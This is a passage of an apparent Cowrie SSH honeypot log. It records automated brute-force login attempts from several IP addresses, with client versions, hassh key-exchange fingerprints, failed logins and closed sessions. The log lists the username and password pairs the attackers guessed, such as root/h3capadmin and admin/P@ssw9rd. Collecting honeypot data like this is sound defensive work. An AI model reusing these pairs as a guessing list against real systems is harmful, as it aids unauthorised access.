128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:49.198401Z","src_ip":"43.173.69.147","session":"591f1b3da467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"composeruser","password":"123456","message":"login attempt [composeruser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:49.501989Z","src_ip":"43.173.69.147","session":"591f1b3da467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"h3capadmin","message":"login attempt [root/h3capadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:49.533522Z","src_ip":"131.161.219.137","session":"e9a855e09038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:50.573653Z","src_ip":"43.173.69.147","session":"591f1b3da467","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:50.666424Z","src_ip":"131.161.219.137","session":"e9a855e09038","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":40616,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bac714e1b96","protocol":"ssh","message":"New connection: 103.125.103.201:40616 (10.17.0.5:22) [session: 5bac714e1b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:51.498983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:51.504453Z","src_ip":"103.125.103.201","session":"5bac714e1b96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:51.744714Z","src_ip":"103.125.103.201","session":"5bac714e1b96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"5tgb6yhn","message":"login attempt [ubuntu/5tgb6yhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:52.735593Z","src_ip":"103.125.103.201","session":"5bac714e1b96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:53.977316Z","src_ip":"103.125.103.201","session":"5bac714e1b96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":46398,"dst_ip":"10.17.0.5","dst_port":22,"session":"066a78a94235","protocol":"ssh","message":"New connection: 101.36.106.162:46398 (10.17.0.5:22) [session: 066a78a94235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:58.599889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:58.605643Z","src_ip":"101.36.106.162","session":"066a78a94235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:58.822723Z","src_ip":"101.36.106.162","session":"066a78a94235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"qwe123","message":"login attempt [es/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:57:59.718925Z","src_ip":"101.36.106.162","session":"066a78a94235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:00.942232Z","src_ip":"101.36.106.162","session":"066a78a94235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":43244,"dst_ip":"10.17.0.5","dst_port":22,"session":"28f595487b8c","protocol":"ssh","message":"New connection: 181.97.227.163:43244 (10.17.0.5:22) [session: 28f595487b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:07.888794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:07.893656Z","src_ip":"181.97.227.163","session":"28f595487b8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:08.099916Z","src_ip":"181.97.227.163","session":"28f595487b8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw9rd","message":"login attempt [admin/P@ssw9rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:08.955436Z","src_ip":"181.97.227.163","session":"28f595487b8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:10.164668Z","src_ip":"181.97.227.163","session":"28f595487b8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":34494,"dst_ip":"159.203.135.109","dst_port":22,"session":"d00e9ea2dc56","protocol":"ssh","message":"New connection: 201.6.100.191:34494 (159.203.135.109:22) [session: d00e9ea2dc56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:31.235231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:31.240400Z","src_ip":"201.6.100.191","session":"d00e9ea2dc56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:31.372944Z","src_ip":"201.6.100.191","session":"d00e9ea2dc56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe1234","message":"login attempt [frappe/frappe1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:31.952240Z","src_ip":"201.6.100.191","session":"d00e9ea2dc56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:33.090366Z","src_ip":"201.6.100.191","session":"d00e9ea2dc56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":40752,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2e3eafd7d59","protocol":"ssh","message":"New connection: 103.158.40.65:40752 (159.203.135.109:22) [session: e2e3eafd7d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:36.037490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:36.042951Z","src_ip":"103.158.40.65","session":"e2e3eafd7d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:36.258722Z","src_ip":"103.158.40.65","session":"e2e3eafd7d59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"12344321","message":"login attempt [ali/12344321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:37.139397Z","src_ip":"103.158.40.65","session":"e2e3eafd7d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:38.361716Z","src_ip":"103.158.40.65","session":"e2e3eafd7d59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":8116,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e0944e1bc3b","protocol":"ssh","message":"New connection: 131.161.219.137:8116 (159.203.135.109:22) [session: 3e0944e1bc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:46.304436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:46.309074Z","src_ip":"131.161.219.137","session":"3e0944e1bc3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:46.437456Z","src_ip":"131.161.219.137","session":"3e0944e1bc3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user888","message":"login attempt [root/user888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:46.981630Z","src_ip":"131.161.219.137","session":"3e0944e1bc3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":38094,"dst_ip":"10.17.0.5","dst_port":22,"session":"00ba9e8dcfd1","protocol":"ssh","message":"New connection: 101.36.106.162:38094 (10.17.0.5:22) [session: 00ba9e8dcfd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:47.581663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:47.586084Z","src_ip":"101.36.106.162","session":"00ba9e8dcfd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:47.803779Z","src_ip":"101.36.106.162","session":"00ba9e8dcfd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:48.111935Z","src_ip":"131.161.219.137","session":"3e0944e1bc3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"admin","message":"login attempt [frappe/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:48.703772Z","src_ip":"101.36.106.162","session":"00ba9e8dcfd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:49.930398Z","src_ip":"101.36.106.162","session":"00ba9e8dcfd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":40698,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e4b0bc48e0e","protocol":"ssh","message":"New connection: 103.125.103.201:40698 (10.17.0.5:22) [session: 3e4b0bc48e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:50.879315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:50.883946Z","src_ip":"103.125.103.201","session":"3e4b0bc48e0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:58:51.122204Z","src_ip":"103.125.103.201","session":"3e4b0bc48e0e","protocol":"ssh"}
